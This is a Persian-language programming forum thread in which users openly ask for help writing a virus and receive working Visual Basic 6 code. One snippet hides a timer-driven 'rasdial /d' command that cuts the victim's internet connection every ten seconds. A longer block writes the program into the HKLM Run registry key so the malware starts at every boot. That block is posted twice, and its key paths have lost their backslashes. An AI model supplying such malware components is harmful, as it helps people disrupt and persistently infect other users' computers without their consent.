تعداد بازدید 4230

ای بابا یکی نیست اینجا جواب مارو بده؟

سلام
دارم یه ویروس مینویسم (البته نه خیلی خطرناک) که تو یه جاش موندم
میخوام وقتی ویروس اجرا میشه اینترنت کاربر قطع بشه
خواهشا جواب بدید نیاز دارم.

سلام داداش

فکر کنم مدیر خوابه هنوز

میتونی از این دستور استفاده کنی وقت تایمر رو هم مثلا بذار 10000 که هر ده ثانیه این کار رو انجام بده

Private Sub Timer3_Timer()

On Error Resume Next

Shell "rasdial /d", vbHide

End Sub

دمت گرم داداش همینو میخواستم

سلام.من دارم یه ویروس مثلا خطرناک مینویسم.

یه کدی میخوام که وقتی فایل اجرا بشه بره تو قسمت استارت آپ.البته نه اون استارت آپی که از طریق start/allprograms/startup هستش

میخوام از این طریق:

run/msconfig

میخوام تو این قسمت استارت آپ بره.اگه میشه کمکم کنید.مرسی

نقل قول از users
سلام.من دارم یه ویروس مثلا خطرناک مینویسم.
یه کدی میخوام که وقتی فایل اجرا بشه بره تو قسمت استارت آپ.البته نه اون استارت آپی که از طریق start/allprograms/startup هستش
میخوام از این طریق:
run/msconfig
میخوام تو این قسمت استارت آپ بره.اگه میشه کمکم کنید.مرسی

سلام

کد:


' start startup code
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
Const KEY_WRITE = 131078
Dim strSource As String, strDest As String
Function DoStartUp(Filename As String, Discription As String)
Dim hKey As Long
RegOpenKeyEx HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun-", 0, KEY_WRITE, hKey
RegDeleteValue hKey, Discription
RegCloseKey hKey
RegOpenKeyEx HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun", 0, KEY_WRITE, hKey
RegSetValueEx hKey, Discription, 0, REG_SZ, Filename, Len(Filename)
RegCloseKey hKey
End Function
'end Startup code

بعد از این کد استفاده کنید مثلا Form_load

کد:


start = DoStartUp(App.Path & "\" & App.EXEName & ".exe", "Appname")

_____________

موفق باشید

سلام آقا .من کدارو کپی کردم ولی اجرا نشد.میشه شما همین کدارو توی یه پروژه ویبی ذخیره کنی بعد بفرستی .اگه اینطوری کنی که عالی میشه.

نقل قول از users
سلام آقا .من کدارو کپی کردم ولی اجرا نشد.میشه شما همین کدارو توی یه پروژه ویبی ذخیره کنی بعد بفرستی .اگه اینطوری کنی که عالی میشه.

دانلود فایل

پسورد: programming.rzb.ir

httphttp://programming.rzb.ir/weblog/file/forum/smiles/8.gif://programming.rzb.ir/weblog/file/forum/smiles/5.gif

مدیرجونی....نمیاره پسورد رو زدم error میده

نقل قول از admin
نقل قول از users
سلام.من دارم یه ویروس مثلا خطرناک مینویسم.
یه کدی میخوام که وقتی فایل اجرا بشه بره تو قسمت استارت آپ.البته نه اون استارت آپی که از طریق start/allprograms/startup هستش
میخوام از این طریق:
run/msconfig
میخوام تو این قسمت استارت آپ بره.اگه میشه کمکم کنید.مرسی
سلام
کد:
' start startup code Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Const HKEY_LOCAL_MACHINE = &H80000002 Const REG_SZ = 1 Const KEY_WRITE = 131078 Dim strSource As String, strDest As String Function DoStartUp(Filename As String, Discription As String) Dim hKey As Long RegOpenKeyEx HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun-", 0, KEY_WRITE, hKey RegDeleteValue hKey, Discription RegCloseKey hKey RegOpenKeyEx HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun", 0, KEY_WRITE, hKey RegSetValueEx hKey, Discription, 0, REG_SZ, Filename, Len(Filename) RegCloseKey hKey End Function 'end Startup code
بعد از این کد استفاده کنید مثلا Form_load
کد:
' start startup code Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Const HKEY_LOCAL_MACHINE = &H80000002 Const REG_SZ = 1 Const KEY_WRITE = 131078 Dim strSource As String, strDest As String Function DoStartUp(Filename As String, Discription As String) Dim hKey As Long RegOpenKeyEx HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun-", 0, KEY_WRITE, hKey RegDeleteValue hKey, Discription RegCloseKey hKey RegOpenKeyEx HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun", 0, KEY_WRITE, hKey RegSetValueEx hKey, Discription, 0, REG_SZ, Filename, Len(Filename) RegCloseKey hKey End Function 'end Startup code
_____________
موفق باشید

تعداد بازدید 4230 کمک در نوشتن ویروس!
نویسنده	پیام